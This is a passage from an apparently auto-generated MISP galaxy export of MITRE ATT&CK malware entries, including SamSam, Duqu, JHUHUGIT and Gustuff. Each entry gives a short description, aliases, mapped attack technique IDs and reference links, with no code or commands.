uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3183. Table References
Links
https://attack.mitre.org/software/S0037
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

ASPXSpy - S0073

[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)

The tag is: misp-galaxy:mitre-malware="ASPXSpy - S0073"

ASPXSpy - S0073 is also known as:

ASPXSpy
ASPXTool

ASPXSpy - S0073 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Table 3184. Table References
Links
https://attack.mitre.org/software/S0073
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

SamSam - S0370

[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)

The tag is: misp-galaxy:mitre-malware="SamSam - S0370"

SamSam - S0370 is also known as:

SamSam
Samas

SamSam - S0370 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 3185. Table References
Links
https://attack.mitre.org/software/S0370
https://www.us-cert.gov/ncas/alerts/AA18-337A
https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf
https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks

StoneDrill - S0380

[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)

The tag is: misp-galaxy:mitre-malware="StoneDrill - S0380"

StoneDrill - S0380 is also known as:

StoneDrill
DROPSHOT

StoneDrill - S0380 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"

Table 3186. Table References
Links
https://attack.mitre.org/software/S0380
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf

Duqu - S0038

[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)

The tag is: misp-galaxy:mitre-malware="Duqu - S0038"

Duqu - S0038 is also known as:

Duqu

Duqu - S0038 has relationships with:

similar: misp-galaxy:tool="Duqu" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 3187. Table References
Links
https://attack.mitre.org/software/S0038
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf

Misdat - S0083

[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)

The tag is: misp-galaxy:mitre-malware="Misdat - S0083"

Misdat - S0083 is also known as:

Misdat

Misdat - S0083 has relationships with:

similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Table 3188. Table References
Links
https://attack.mitre.org/software/S0083
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Adups - S0309

[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)

The tag is: misp-galaxy:mitre-malware="Adups - S0309"

Adups - S0309 is also known as:

Adups

Adups - S0309 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 3189. Table References
Links
https://attack.mitre.org/software/S0309
https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html
http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534

SQLRat - S0390

[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)

The tag is: misp-galaxy:mitre-malware="SQLRat - S0390"

SQLRat - S0390 is also known as:

SQLRat

SQLRat - S0390 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 3190. Table References
Links
https://attack.mitre.org/software/S0390
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ [https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ ]

JHUHUGIT - S0044

[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)

The tag is: misp-galaxy:mitre-malware="JHUHUGIT - S0044"

JHUHUGIT - S0044 is also known as:

JHUHUGIT
Trojan.Sofacy
Seduploader
JKEYSKW
Sednit
GAMEFISH
SofacyCarberp

JHUHUGIT - S0044 has relationships with:

similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 3191. Table References
Links
https://attack.mitre.org/software/S0044
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/

ADVSTORESHELL - S0045

[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)

The tag is: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045"

ADVSTORESHELL - S0045 is also known as:

ADVSTORESHELL
AZZY
EVILTOSS
NETUI
Sedreco

ADVSTORESHELL - S0045 has relationships with:

similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Table 3192. Table References
Links
https://attack.mitre.org/software/S0045
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

CloudDuke - S0054

[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)

The tag is: misp-galaxy:mitre-malware="CloudDuke - S0054"

CloudDuke - S0054 is also known as:

CloudDuke
MiniDionis
CloudLook

CloudDuke - S0054 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3193. Table References
Links
https://attack.mitre.org/software/S0054
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/

Exodus - S0405

[Exodus](https://attack.mitre.org/software/S0405) is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).(Citation: SWB Exodus March 2019)

The tag is: misp-galaxy:mitre-malware="Exodus - S0405"

Exodus - S0405 is also known as:

Exodus
Exodus One
Exodus Two

Exodus - S0405 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 3194. Table References
Links
https://attack.mitre.org/software/S0405
https://securitywithoutborders.org/blog/2019/03/29/exodus.html

CozyCar - S0046

[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="CozyCar - S0046"

CozyCar - S0046 is also known as:

CozyCar
CozyDuke
CozyBear
Cozer
EuroAPT

CozyCar - S0046 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3195. Table References
Links
https://attack.mitre.org/software/S0046
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

ELMER - S0064

[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)

The tag is: misp-galaxy:mitre-malware="ELMER - S0064"

ELMER - S0064 is also known as:

ELMER

ELMER - S0064 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3196. Table References
Links
https://attack.mitre.org/software/S0064
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Gustuff - S0406

[Gustuff](https://attack.mitre.org/software/S0406) is mobile malware designed to steal users' banking and virtual currency credentials.(Citation: Talos Gustuff Apr 2019)

The tag is: misp-galaxy:mitre-malware="Gustuff - S0406"

Gustuff - S0406 is also known as:

Gustuff

Gustuff - S0406 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 3197. Table References
Links
https://attack.mitre.org/software/S0406
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html

Monokle - S0407

[Monokle](https://attack.mitre.org/software/S0407) is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.(Citation: Lookout-Monokle)

The tag is: misp-galaxy:mitre-malware="Monokle - S0407"

Monokle - S0407 is also known as:

Monokle

Monokle - S0407 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
